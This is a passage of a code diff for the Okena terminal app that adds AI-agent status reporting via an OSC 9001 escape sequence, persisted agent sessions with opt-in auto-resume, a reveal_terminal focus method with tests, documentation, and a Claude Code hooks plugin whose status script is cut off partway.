             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -712,6 +713,7 @@ impl Workspace {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             hook_terminals: HashMap::new(),
             pinned: false,
             last_activity_at: None,
diff --git a/crates/okena-workspace/src/focus.rs b/crates/okena-workspace/src/focus.rs
index 7d73272b0..0466b2df6 100644
--- a/crates/okena-workspace/src/focus.rs
+++ b/crates/okena-workspace/src/focus.rs
@@ -220,6 +220,12 @@ impl FocusManager {
     /// This is the primary method for focusing a terminal. It:
     /// - Updates the current focus target
     /// - Does NOT push to stack (direct user action)
+    ///
+    /// This is the "click an already-visible pane" path: it deliberately
+    /// preserves fullscreen (and then keeps the same fullscreened project,
+    /// only updating the layout path). To *navigate* to a terminal the current
+    /// view might be hiding — a sidebar/agent click, a notification, a remote
+    /// focus request — use [`reveal_terminal`](Self::reveal_terminal) instead.
     pub fn focus_terminal(&mut self, project_id: String, layout_path: Vec<usize>) {
         if self.context == FocusContext::Fullscreen {
             // Preserve fullscreen state — only update layout_path if same project
@@ -232,6 +238,68 @@ impl FocusManager {
         self.context = FocusContext::Terminal;
     }
 
+    /// Reveal **and** focus a terminal as a navigation action — an agent-row or
+    /// sidebar click, a notification jump, a remote focus request.
+    ///
+    /// [`focus_terminal`](Self::focus_terminal) is for clicking a pane that's
+    /// already on screen, so it preserves fullscreen and ignores the requested
+    /// project; that makes it unable to reach a terminal the current view is
+    /// hiding (a different zoomed project, a fullscreened sibling). This instead
+    /// retargets whatever view mode is active onto the target so it actually
+    /// becomes visible, *without* widening the view the user chose:
+    ///
+    /// - **Fullscreen** → stay fullscreen, but on the target terminal and its
+    ///   project (retargeted in place, no stack growth — same as the zoom-header
+    ///   next/prev arrows). A jump from a zoomed terminal lands on the new one
+    ///   instead of being swallowed by the old `layout_path`-only update.
+    /// - **Project zoom** (`focused_project_id` set) → switch the zoom to the
+    ///   target's project. `compute_visible_projects`' focus override then
+    ///   surfaces that project even past a folder filter or a hidden-set entry.
+    /// - **Overview** (no zoom, no fullscreen) → just move terminal focus; the
+    ///   target's column is already on screen, so the multi-project overview is
+    ///   left intact.
+    ///
+    /// `terminal_id` is the id of the terminal at `layout_path`; it's required
+    /// to retarget fullscreen (which tracks the focused terminal by id).
+    pub fn reveal_terminal(
+        &mut self,
+        project_id: String,
+        layout_path: Vec<usize>,
+        terminal_id: String,
+    ) {
+        if self.context == FocusContext::Fullscreen {
+            // Retarget the single zoomed pane onto the target, following it to
+            // its project so the one visible column is the target's. Mirrors the
+            // in-place swap `enter_fullscreen` does when already fullscreen.
+            self.current_focus = Some(FocusTarget::with_terminal(
+                project_id.clone(),
+                layout_path,
+                terminal_id,
+            ));
+            self.focused_project_id = Some(project_id);
+            return;
+        }
+
+        // Not fullscreen. If a project is zoomed, follow the jump so the
+        // target's column is the one shown; leave overview untouched. Only when
+        // switching to a *different* project do we reset individual mode (a
+        // fresh zoom shows the project plus its worktree children) — revealing
+        // another terminal within the already-zoomed project must NOT clear
+        // individual mode, or it would re-expand worktree children the user has
+        // zoomed past. This primitive also backs pre-existing sidebar/cursor
+        // terminal clicks, so that regression would hit them too.
+        if self
+            .focused_project_id
+            .as_deref()
+            .is_some_and(|current| current != project_id)
+        {
+            self.focused_project_id = Some(project_id.clone());
+            self.focus_project_individual = false;
+        }
+        self.current_focus = Some(FocusTarget::new(project_id, layout_path));
+        self.context = FocusContext::Terminal;
+    }
+
     /// Enter fullscreen mode, saving current focus for restoration.
     ///
     /// When entering fullscreen, the current focus and focused_project_id are
@@ -602,6 +670,105 @@ mod tests {
         assert!(!fm.has_fullscreen());
     }
 
+    #[test]
+    fn reveal_terminal_retargets_fullscreen_to_other_project() {
+        // A different terminal is fullscreened; revealing the target must follow
+        // it (terminal + project) while staying fullscreen, and must not grow
+        // the stack (so one exit still leaves fullscreen). This is the
+        // "terminal zoomed" half of the focus bug.
+        let mut fm = FocusManager::new();
+        fm.enter_fullscreen("proj1".to_string(), vec![0], "term1".to_string());
+        let stack_after_enter = fm.focus_stack.len();
+
+        fm.reveal_terminal("proj2".to_string(), vec![1, 0], "term2".to_string());
+
+        assert!(fm.has_fullscreen());
+        assert!(fm.is_terminal_fullscreened("proj2", "term2"));
+        assert_eq!(fm.fullscreen_project_id(), Some("proj2"));
+        assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
+        assert_eq!(fm.focused_terminal_state().unwrap().layout_path, vec![1, 0]);
+        assert_eq!(fm.focus_stack.len(), stack_after_enter);
+
+        // A single exit fully leaves fullscreen.
+        fm.exit_fullscreen();
+        assert!(!fm.has_fullscreen());
+    }
+
+    #[test]
+    fn reveal_terminal_switches_zoom_to_target_project() {
+        // Zoomed into proj1; revealing a terminal in proj2 must switch the zoom
+        // to proj2 so its column is the one shown. This is the "different
+        // project zoomed" half of the focus bug.
+        let mut fm = FocusManager::new();
+        fm.set_focused_project_id(Some("proj1".to_string()));
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj2".to_string(), vec![2], "term2".to_string());
+
+        assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
+        assert!(!fm.has_fullscreen());
+        assert_eq!(*fm.context(), FocusContext::Terminal);
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj2");
+        assert_eq!(state.layout_path, vec![2]);
+    }
+
+    #[test]
+    fn reveal_terminal_in_overview_keeps_overview() {
+        // In overview (no zoom), revealing must not collapse the view into a
+        // single project — it only moves terminal focus.
+        let mut fm = FocusManager::new();
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj2".to_string(), vec![1], "term2".to_string());
+
+        assert_eq!(fm.focused_project_id(), None);
+        assert!(!fm.has_fullscreen());
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj2");
+        assert_eq!(state.layout_path, vec![1]);
+    }
+
+    #[test]
+    fn reveal_terminal_zoomed_same_project_updates_focus() {
+        // Revealing another terminal within the already-zoomed project keeps the
+        // zoom on that project and just moves focus.
+        let mut fm = FocusManager::new();
+        fm.set_focused_project_id(Some("proj1".to_string()));
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string());
+
+        assert_eq!(fm.focused_project_id(), Some(&"proj1".to_string()));
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj1");
+        assert_eq!(state.layout_path, vec![1]);
+    }
+
+    #[test]
+    fn reveal_terminal_within_individual_zoom_preserves_individual_mode() {
+        // Zoomed *individual* into proj1 (worktree children hidden); revealing
+        // another terminal of proj1 must keep individual mode on — it must not
+        // re-expand the hidden children. Regression guard for the
+        // set_focused_terminal -> reveal_terminal swap, which previously cleared
+        // individual mode unconditionally (also hitting sidebar/cursor clicks).
+        let mut fm = FocusManager::new();
+        fm.set_focused_project_id_individual(Some("proj1".to_string()));
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+        assert!(fm.is_focus_individual());
+
+        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string());
+
+        assert!(fm.is_focus_individual());
+        assert_eq!(fm.focused_project_id(), Some(&"proj1".to_string()));
+        assert_eq!(fm.focused_terminal_state().unwrap().layout_path, vec![1]);
+
+        // ...but switching to a DIFFERENT project still resets individual mode.
+        fm.reveal_terminal("proj2".to_string(), vec![0], "term-c".to_string());
+        assert!(!fm.is_focus_individual());
+        assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
+    }
+
     #[test]
     fn clear_all_resets_everything() {
         let mut fm = FocusManager::new();
diff --git a/crates/okena-workspace/src/persistence.rs b/crates/okena-workspace/src/persistence.rs
index c9f3bee11..070afafa0 100644
--- a/crates/okena-workspace/src/persistence.rs
+++ b/crates/okena-workspace/src/persistence.rs
@@ -1162,6 +1162,7 @@ pub fn default_workspace() -> WorkspaceData {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1586,6 +1587,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/remote_apply.rs b/crates/okena-workspace/src/remote_apply.rs
index 7844f70ea..4be71169d 100644
--- a/crates/okena-workspace/src/remote_apply.rs
+++ b/crates/okena-workspace/src/remote_apply.rs
@@ -254,6 +254,7 @@ pub fn apply_remote_snapshot(
                         is_remote: true,
                         connection_id: Some(conn_id_owned),
                         service_terminals: HashMap::new(),
+                        agent_sessions: HashMap::new(),
                         default_shell: api_project.default_shell.clone(),
                         hook_terminals: remote_hook_terminals,
                         pinned: api_project.pinned,
@@ -485,6 +486,7 @@ mod tests {
             show_in_overview: true,
             layout,
             terminal_names: HashMap::new(),
+            terminal_agent_status: HashMap::new(),
             git_status: None,
             folder_color: FolderColor::Default,
             services: Vec::new(),
diff --git a/crates/okena-workspace/src/settings.rs b/crates/okena-workspace/src/settings.rs
index 5b466ae5b..99165cbea 100644
--- a/crates/okena-workspace/src/settings.rs
+++ b/crates/okena-workspace/src/settings.rs
@@ -286,6 +286,14 @@ pub struct AppSettings {
     /// Session backend for terminal persistence (tmux/screen/none/auto)
     #[serde(default)]
     pub session_backend: SessionBackend,
+    /// Automatically resume a pane's AI agent session (e.g. `claude --resume
+    /// <id>`) on restore, when one was captured before the restart. Opt-in
+    /// (default off). When off, the captured session is still persisted and
+    /// shown — just not auto-run. Note: terminal IDs (and thus the captured
+    /// session) only survive a restart when a session backend is configured, so
+    /// this is effectively a no-op with `session_backend = none`.
+    #[serde(default)]
+    pub auto_resume_agent_sessions: bool,
 
     // File opener settings
     /// Editor command to open file paths (e.g. "code", "cursor", "zed", "subl", "vim")
@@ -423,6 +431,7 @@ impl Default for AppSettings {
             default_shell: ShellType::default(),
             show_shell_selector: false,
             session_backend: SessionBackend::default(),
+            auto_resume_agent_sessions: false,
             file_opener: default_file_opener(),
             hooks: HooksConfig::default(),
             diff_view_mode: DiffViewMode::default(),
diff --git a/crates/okena-workspace/src/state.rs b/crates/okena-workspace/src/state.rs
index 0ffbed6a0..316a41d72 100644
--- a/crates/okena-workspace/src/state.rs
+++ b/crates/okena-workspace/src/state.rs
@@ -1602,6 +1602,53 @@ impl Workspace {
         }
     }
 
+    /// Persist the AI agent session captured for a terminal (agent-status OSC
+    /// `lbl=`). Called from the PTY event loop when
+    /// `Terminal::take_agent_session_dirty` fires. Idempotent — no save when
+    /// unchanged.
+    pub fn set_agent_session(
+        &mut self,
+        project_id: &str,
+        terminal_id: &str,
+        session: okena_core::agent_session::AgentSession,
+        cx: &mut impl WorkspaceCx,
+    ) {
+        if let Some(project) = self.project_mut(project_id)
+            && project.agent_sessions.get(terminal_id) != Some(&session)
+        {
+            project
+                .agent_sessions
+                .insert(terminal_id.to_string(), session);
+            self.notify_data(cx);
+        }
+    }
+
+    /// The persisted agent session for a terminal, if any. Read on restore to
+    /// decide whether to offer / auto-run a resume.
+    pub fn agent_session(
+        &self,
+        project_id: &str,
+        terminal_id: &str,
+    ) -> Option<okena_core::agent_session::AgentSession> {
+        self.project(project_id)
+            .and_then(|p| p.agent_sessions.get(terminal_id).cloned())
+    }
+
+    /// Drop a terminal's persisted agent session (the terminal was permanently
+    /// closed), so `workspace.json` doesn't accumulate orphans.
+    pub fn remove_agent_session(
+        &mut self,
+        project_id: &str,
+        terminal_id: &str,
+        cx: &mut impl WorkspaceCx,
+    ) {
+        if let Some(project) = self.project_mut(project_id)
+            && project.agent_sessions.remove(terminal_id).is_some()
+        {
+            self.notify_data(cx);
+        }
+    }
+
     pub fn register_hook_terminal(
         &mut self,
         project_id: &str,
@@ -2395,6 +2442,7 @@ mod workspace_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -3303,6 +3351,7 @@ mod gpui_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/visibility.rs b/crates/okena-workspace/src/visibility.rs
index 5d89392ca..ffebb08c8 100644
--- a/crates/okena-workspace/src/visibility.rs
+++ b/crates/okena-workspace/src/visibility.rs
@@ -235,6 +235,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/docs/agent-status.md b/docs/agent-status.md
new file mode 100644
index 000000000..08a443447
--- /dev/null
+++ b/docs/agent-status.md
@@ -0,0 +1,231 @@
+# Agent Status
+
+Okena can show what an AI coding agent (Claude Code, Codex, …) is doing in each
+terminal pane: a per-tab indicator, a dedicated **Agents** section in the sidebar
+that lists every active agent across all projects, a matching field in the
+[remote API](remote.md), and a desktop notification when an agent finishes or
+gets blocked.
+
+The model is **push-based and open**: the agent reports its own state by writing
+a small escape sequence to its terminal. Okena never scrapes the agent's output
+or reads its private files — an agent (or a thin hook) tells Okena directly. A
+small fixed set of lifecycle states drives color, sort order, and notifications;
+a free-form message and optional labels carry whatever the agent wants and are
+shown verbatim.
+
+## What you see
+
+- **Tab** — the pane's icon is recolored by lifecycle (blocked = red, working =
+  yellow, done = green, idle = muted). Hovering the tab shows the agent's
+  free-form status text.
+- **Sidebar → AGENTS** — a flat, cross-project list of every pane currently
+  reporting a status, sorted by attention (blocked → done → working → idle).
+  Each row shows the lifecycle dot, the terminal name, its project, and the
+  free-form text. Click a row to jump straight to that pane. The section hides
+  itself when no agent is active.
+- **Notification** — entering `blocked` or `done` raises a desktop notification
+  (+ sound), suppressed for the pane you're actively looking at. Gated by the
+  normal notification settings.
+- **Remote** — `GET /v1/state` includes `terminal_agent_status` per project, and
+  a status change bumps `state_version` so subscribed clients re-fetch.
+
+Agent status is **runtime-only** — it is never written to `workspace.json` and
+does not survive a restart.
+
+## The data model
+
+| Field | Meaning |
+|-------|---------|
+| `lifecycle` | One of `working`, `blocked`, `done`, `idle`. Drives color / sort / notifications. |
+| `custom` | Optional free-form text, e.g. `"running tests 3/5"`. Rendered verbatim. |
+| `labels` | Optional flat `{ "key": "value" }` map of extras. |
+
+## The wire format (OSC 9001)
+
+An agent reports its state by writing this OSC sequence to its terminal:
+
+```
+ESC ] 9001 ; st=<state> [ ; msg=<base64> ] [ ; lbl=<base64-json> ] ST
+```
+
+- `ESC` is `\033` (0x1B); `ST` is the string terminator `ESC \` (`\033\\`). A
+  `BEL` (`\007`) terminator is also accepted.
+- `st=` — `working` | `blocked` | `done` | `idle`, or `clear` to remove any
+  status. An unknown/missing `st` leaves the current status untouched.
+- `msg=` — base64(UTF-8) of the free-form `custom` text. Base64 keeps the value
+  `;`/`ST`-safe.
+- `lbl=` — base64(UTF-8) of a flat JSON object, e.g. `{"stage":"verify"}`.
+  Three keys are **reserved**: `agent` (harness id, e.g. `claude-code`),
+  `session_id`, and `transcript_path`. When `agent` + a UUID-shaped `session_id`
+  are present, Okena captures them into the pane's *agent session* — a sticky
+  record (it survives `st=clear`) that is the basis for resuming the session and
+  showing transcript stats. A non-UUID `session_id` is ignored (it's untrusted
+  in-band data that may reach a resume command). All other keys are free-form.
+
+For example, to report "done" with a message, from inside the pane:
+
+```sh
+printf '\033]9001;st=done;msg=%s\033\\' "$(printf 'all tests passed' | base64 | tr -d '\n')" > /dev/tty
+```
+
+This is the same family of in-band signals Okena already understands
+(`OSC 9;4` progress, `OSC 133` shell integration); see the contract note in
+`crates/okena-terminal/CLAUDE.md`.
+
+## Session resume
+
+The reserved `agent` + `session_id` (+ optional `transcript_path`) labels let
+Okena remember which AI session a pane is running and bring it back after a
+restart:
+
+- **Captured** in-band from `OSC 9001` `lbl=` (see above), validated as a UUID,
+  and kept on the pane as a *sticky* record that survives `st=clear`.
+- **Persisted** per terminal in `workspace.json` (`project.agent_sessions`), so
+  it outlives the process.
+- **Resumed** on restore when the **`auto_resume_agent_sessions`** setting is on:
+  Okena types the harness's resume command (for Claude Code, `claude --resume
+  <id>`) into the reconnected pane after a short delay. Off by default — when
+  off, the session is still captured, persisted, and shown, just not auto-run.
+
+Which command resumes a session is **per-harness** (Claude Code, Codex, …),
+selected by the `agent` id through the harness registry — adding a new agent is
+additive, with no core change.
+
+> **Requires a session backend.** A pane's `terminal_id` (the key the session is
+> stored under) only survives a restart when a session backend (`tmux` / `dtach`
+> / `screen`) is configured. With `session_backend = none`, terminal IDs are
+> regenerated on load, so the persisted session no longer matches and auto-resume
+> is a no-op.
+
+## Claude Code integration
+
+The easiest way is the bundled **Claude Code plugin**, which wires up the
+lifecycle hooks for you — no editing of `settings.json`, versioned and cleanly
+uninstallable. The [`integrations/claude-code/`](../integrations/claude-code/)
+directory is a Claude Code plugin marketplace.
+
+From a clone of this repo:
+
+```
+/plugin marketplace add ./integrations/claude-code
+/plugin install okena-lifecycle@okena
+```
+
+Or enable it non-interactively in `~/.claude/settings.json`:
+
+```json
+{ "enabledPlugins": { "okena-lifecycle@okena": true } }
+```
+
+Then run `claude` inside an Okena pane and watch the tab + AGENTS section react.
+
+The plugin maps Claude Code's lifecycle hooks to agent states:
+
+| Claude Code hook | State | When |
+|------------------|-------|------|
+| `UserPromptSubmit` | `working` | You submit a prompt — the agent starts working. |
+| `PreToolUse` | `working` | The agent is about to run a tool — work resumes. |
+| `PostToolUse` | `working` | A tool finished — work continues. |
+| `Notification` | `blocked` | Claude needs permission or input. |
+| `Stop` | `done` | The agent finished its turn. |
+| `SessionStart` | `clear` | A new/resumed session — reset any stale status. |
+| `SessionEnd` | `clear` | The agent exited — drop it from the Agents list. |
+
+`PreToolUse` / `PostToolUse` are the recovery edges that the obvious four-hook
+mapping is missing: when Claude is `blocked` waiting on you and you answer
+(e.g. a permission grant, or answering a question mid-turn), **no
+`UserPromptSubmit` fires** — that only fires for a fresh prompt. Without a
+"work resumed" signal the pane stays stuck on `blocked` even though the agent is
+busy again. Running a tool fires `PreToolUse` (and later `PostToolUse`), which
+flips it back to `working`. Ordering is safe: for a permission-gated tool the
+sequence is `PreToolUse` (working) → `Notification` (blocked) → you approve →
+tool runs → `PostToolUse` (working), and hooks are awaited so the writes never
+race — the pane correctly shows `blocked` while you're being asked.
+
+The plugin sets `OKENA_AGENT=claude-code` on each hook command, and the script
+mines the hook's stdin event JSON for `session_id` / `transcript_path` (a small
+`sed` extraction, no `jq` dependency) and forwards them in the reserved `lbl=`
+keys above — that's how Okena learns the pane's Claude session.
+
+It bundles `okena-lifecycle/scripts/okena-agent-status.sh`, invoked via
+`${CLAUDE_PLUGIN_ROOT}`. Hooks run as subprocesses with **no controlling
+terminal**, so `/dev/tty` is unavailable to them — Okena exports `OKENA_TTY`
+(the pane's slave pty path) into the pane environment and the script writes
+there instead (falling back to `/dev/tty` for interactive use). It's a silent
+no-op when there's no device to write to.
+
+> **Caveat — persistent sessions.** `OKENA_TTY` is captured into the shell's
+> environment when the pane is **first launched**, not refreshed per-attach. If
+> you *reattach* to a pre-existing `dtach`/`tmux`/`screen` session, the
+> already-running shell keeps the original value while Okena has opened a new
+> pty, so `$OKENA_TTY` points at the old device and the indicator can go silent
+> until the session is restarted. (Known limitation — the env isn't yet
+> refreshed on reattach.)
+
+### Manual (without the plugin)
+
+If you'd rather not use the plugin, register the hooks yourself. Copy the script
+somewhere on your `PATH`:
+
+```sh
+install -m 0755 integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh ~/.local/bin/okena-agent-status
+```
+
+…then add to `~/.claude/settings.json`:
+
+```json
+{
+  "hooks": {
+    "UserPromptSubmit": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status working" } ] }
+    ],
+    "PreToolUse": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status working" } ] }
+    ],
+    "PostToolUse": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status working" } ] }
+    ],
+    "Notification": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status blocked" } ] }
+    ],
+    "Stop": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status done" } ] }
+    ],
+    "SessionStart": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status clear" } ] }
+    ],
+    "SessionEnd": [
+      { "hooks": [ { "type": "command", "command": "okena-agent-status clear" } ] }
+    ]
+  }
+}
+```
+
+### Debugging
+
+If a pane's status looks wrong (stale `blocked`, nothing showing), make the
+whole path observable from both ends:
+
+- **The hook end** — set `OKENA_AGENT_STATUS_LOG` to a writable file in the
+  pane's environment. The script then appends one line per invocation recording
+  the state, the target device (`$OKENA_TTY`), and whether the write actually
+  succeeded:
+
+  ```
+  2026-06-23T11:30:01+0200 pid=12345 state=working tty=/dev/pts/7 msglen=0 write=ok
+  ```
+
+  A `write=failed` line means the OSC never reached Okena (wrong/missing
+  `OKENA_TTY`); no line at all means the hook didn't fire.
+
+- **The Okena end** — `okena_terminal::terminal::osc_sidecar` logs every parsed
+  `OSC 9001` at `debug` level (`agent-status[<terminal-id>]: <prev> -> <new>
+  (changed=…, notify=…)`), including ignored/unknown/clear cases, so you can see
+  what Okena received and decided. Raise the log filter to `debug` to see them.
+
+### Other agents
+
+The script is agent-agnostic: anything that can run a command (Codex, a
+Makefile, your own tooling) can call
+`okena-lifecycle/scripts/okena-agent-status.sh <state> [message]` to report into
+Okena.
diff --git a/integrations/claude-code/.claude-plugin/marketplace.json b/integrations/claude-code/.claude-plugin/marketplace.json
new file mode 100644
index 000000000..45e451d06
--- /dev/null
+++ b/integrations/claude-code/.claude-plugin/marketplace.json
@@ -0,0 +1,15 @@
+{
+  "name": "okena",
+  "owner": {
+    "name": "Okena"
+  },
+  "description": "Okena integrations for Claude Code.",
+  "plugins": [
+    {
+      "name": "okena-lifecycle",
+      "source": "./okena-lifecycle",
+      "description": "Report Claude Code lifecycle to Okena (tab indicator, sidebar Agents section, desktop notifications) via OSC 9001.",
+      "version": "0.2.0"
+    }
+  ]
+}
diff --git a/integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json b/integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json
new file mode 100644
index 000000000..2de6a2622
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json
@@ -0,0 +1,11 @@
+{
+  "name": "okena-lifecycle",
+  "description": "Report Claude Code lifecycle to Okena via OSC 9001 — drives the tab indicator, the sidebar Agents section, and desktop notifications.",
+  "version": "0.2.0",
+  "author": {
+    "name": "Okena"
+  },
+  "homepage": "https://github.com/contember/okena",
+  "license": "MIT",
+  "keywords": ["okena", "terminal", "agent-status"]
+}
diff --git a/integrations/claude-code/okena-lifecycle/README.md b/integrations/claude-code/okena-lifecycle/README.md
new file mode 100644
index 000000000..3df7b270f
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/README.md
@@ -0,0 +1,47 @@
+# okena-lifecycle — Claude Code plugin
+
+Reports Claude Code's lifecycle to [Okena](https://github.com/contember/okena) so
+the pane's tab, the sidebar **Agents** section, and desktop notifications reflect
+what the agent is doing. It does this by emitting Okena's agent-status escape
+sequence (`OSC 9001`) to the terminal on lifecycle events — no network, no
+config files written, works only inside an Okena pane (a silent no-op elsewhere).
+
+## Install
+
+From a clone of the okena repo (the `integrations/claude-code` dir is the
+marketplace):
+
+```
+/plugin marketplace add ./integrations/claude-code
+/plugin install okena-lifecycle@okena
+```
+
+Or enable it non-interactively in `~/.claude/settings.json`:
+
+```json
+{
+  "enabledPlugins": { "okena-lifecycle@okena": true }
+}
+```
+
+## What it maps
+
+| Claude Code hook | Reported state |
+|------------------|----------------|
+| `UserPromptSubmit` | `working` |
+| `PreToolUse` | `working` (about to run a tool) |
+| `PostToolUse` | `working` (tool finished — work resumes) |
+| `Notification` | `blocked` (needs permission / input) |
+| `Stop` | `done` |
+| `SessionStart` | `clear` (reset stale status) |
+| `SessionEnd` | `clear` (agent exited) |
+
+`PreToolUse` / `PostToolUse` are the recovery edges: when you answer a blocked
+agent (permission grant, or a question mid-turn) Claude Code does **not** fire
+`UserPromptSubmit`, so without them the pane stays stuck on `blocked` while the
+agent is actually busy again.
+
+See [`docs/agent-status.md`](../../../docs/agent-status.md) for the full model,
+the `OSC 9001` wire format, and debugging (the `OKENA_AGENT_STATUS_LOG` env var).
+The bundled `scripts/okena-agent-status.sh` is agent-agnostic — anything that can
+run a command can call it directly.
diff --git a/integrations/claude-code/okena-lifecycle/hooks/hooks.json b/integrations/claude-code/okena-lifecycle/hooks/hooks.json
new file mode 100644
index 000000000..74f529422
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/hooks/hooks.json
@@ -0,0 +1,74 @@
+{
+  "hooks": {
+    "SessionStart": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh clear"
+          }
+        ]
+      }
+    ],
+    "UserPromptSubmit": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh working"
+          }
+        ]
+      }
+    ],
+    "PreToolUse": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh working"
+          }
+        ]
+      }
+    ],
+    "PostToolUse": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh working"
+          }
+        ]
+      }
+    ],
+    "Notification": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh blocked"
+          }
+        ]
+      }
+    ],
+    "Stop": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh done"
+          }
+        ]
+      }
+    ],
+    "SessionEnd": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh clear"
+          }
+        ]
+      }
+    ]
+  }
+}
diff --git a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
new file mode 100755
index 000000000..2755a631f
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
@@ -0,0 +1,118 @@
+#!/bin/sh
+# okena-agent-status — report an AI agent's lifecycle to Okena.
+#
+# Writes Okena's agent-status OSC (OSC 9001) to the controlling terminal so the
+# Okena tab + the sidebar "Agents" section reflect what the agent is doing, and
+# so Okena raises a desktop notification when the agent finishes or gets blocked.
+#
+# Usage:
+#   okena-agent-status <working|blocked|done|idle|clear> [message]
+#
+# Designed to be wired up as a Claude Code hook (see docs/agent-status.md), but
+# it's agent-agnostic — anything that can run a command can call it.
+#
+# Output device: a hook runs as a subprocess with NO controlling terminal, so
+# `/dev/tty` is unavailable to it. Okena therefore exports `OKENA_TTY` (the
+# pane's slave pty path) into the pane's environment; we write there. Writing to
+# the slave reaches Okena's reader even through a nested session backend
+# (dtach/tmux). Falls back to `/dev/tty` for the interactive case. It drains
+# stdin so a hook feeding event JSON on the pipe never blocks, and is a silent
+# no-op when there's no device to write to — safe to call from anywhere.
+#
+# Debugging: set OKENA_AGENT_STATUS_LOG=/path/to/log to append one line per
+# invocation recording the state, the target device, and whether the write
+# actually succeeded. This makes the whole path observable — pair it with
+# Okena's own `okena_terminal::terminal::osc_sidecar` debug logs (the receiving
+# end) to see where a status update is lost. Unset → zero overhead, no file.
+
+state="${1:-}"
+message="${2:-}"
+# Harness id (e.g. "claude-code", "codex"), set by the per-agent hook glue. Used
+# only to tag the captured session in the optional lbl= field; empty is fine.
+agent="${OKENA_AGENT:-}"
+
+tty_dev="${OKENA_TTY:-/dev/tty}"
+
+# Append a debug line when OKENA_AGENT_STATUS_LOG points somewhere writable;
+# a silent no-op otherwise. Never fails the hook.
+log() {
+    [ -n "${OKENA_AGENT_STATUS_LOG:-}" ] || return 0
+    ts=$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null || echo '????')
+    printf '%s pid=%s state=%s tty=%s %s\n' \
+        "$ts" "$$" "${state:-<none>}" "$tty_dev" "$1" \
+        >>"$OKENA_AGENT_STATUS_LOG" 2>/dev/null || true
+}
+
+# Capture any hook event JSON on stdin (Claude Code & co. feed it there) so the
+# writer never blocks, then mine it for the agent's session id / transcript path
+# to forward to Okena. No `jq` dependency — a narrow regex over the
+# machine-generated JSON, with a clean fallback to "no session label" when the
+# fields aren't present.
+event=""
+if [ ! -t 0 ]; then
+    event=$(cat 2>/dev/null || true)
+fi
+
+# Print the first string value of JSON key $1 found in $event, or nothing.
+json_str() {
+    printf '%s' "$event" | sed -n \
+        "s/.*\"$1\"[[:space:]]*:[[:space:]]*\"\([^\"]*\)\".*/\1/p" | head -n1
+}
+session_id=$(json_str session_id)
+transcript_path=$(json_str transcript_path)
+
+# Assemble the optional lbl= JSON object only when we actually have a session id
+# (the durable bit Okena persists). Values are JSON-escaped (\\ then ").
+lbl_json=""
